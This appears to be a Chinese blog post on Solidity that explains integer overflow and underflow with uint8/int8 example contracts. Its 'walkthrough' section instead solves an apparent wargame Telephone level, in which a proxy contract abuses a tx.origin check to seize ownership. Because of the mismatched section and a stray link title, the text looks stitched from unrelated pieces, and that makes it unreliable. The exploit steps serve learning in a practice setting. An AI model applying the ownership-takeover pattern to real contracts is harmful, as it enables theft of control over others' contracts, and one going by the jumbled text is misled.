如何防止算術(shù)運算出現(xiàn)下溢和溢出錯誤
整數(shù)溢出和下溢
與C和C ++一樣,Solidity是一種比較低級別的編碼語言,沒有處理存儲限制的功能。這可能與Ruby和Python開發(fā)人員習(xí)慣的非常不同。
以太坊的智能合約存儲分別為256位或32字節(jié)。 Solidity支持有符號整數(shù)和無符號整數(shù)uint,最高可達256位。
這意味著當您的數(shù)字超過在分配的存儲位之下或之上時,您的算術(shù)運算容易出現(xiàn)下溢和溢出錯誤。
注意:最大可能的uint256等于115792089237316195423570985008687907853269984665640564039457584007913129639935
contract Unsigned {
uint8 public min = 0;
uint8 public max = 255;
// Underflowing & overflowing doesn‘t throw an error
uint8 public less_than_min = min - 1; // returns 255
uint8 public more_than_max = max + 1; // returns 0
}
contract Signed {
int8 public min = -128;
int8 public max = 127;
int8 public less_than_min = min - 1; // returns 127
int8 public more_than_max = max +1; // returns -128
}
以下是上面代碼段的可視化:
這會使得處理算術(shù)運算符的合約易受攻擊。通常我們從safemath.sol庫繼承數(shù)學(xué)運算符。
細節(jié)演練
1. 注意Telephone.sol的changeOwner函數(shù)檢查是否(tx.origin!= msg.sender)。似乎我們可以通過方案3成功觸發(fā)此功能:區(qū)塊鏈研究實驗室| 如何防止濫用智能合約中的偽隨機性
2. 創(chuàng)建一個電話合約,Telephony構(gòu)成合同A.在Telephony中實例化合約B,您的Telephone.sol:
contract Telephony {
Telephone public phone = Telephone(YOUR_INSTANCE_ADDR_HERE);
//TODO.。.
}
3、在Telephony中創(chuàng)建一個changeOwner函數(shù),該函數(shù)調(diào)用Telephone中的changeOwner函數(shù),即玩電話游戲。
function changeOwner(address _owner) public {
phone.changeOwner(_owner);
}
4、注意await contract.owner()在控制臺中現(xiàn)在指示您的用戶錢包是所有者!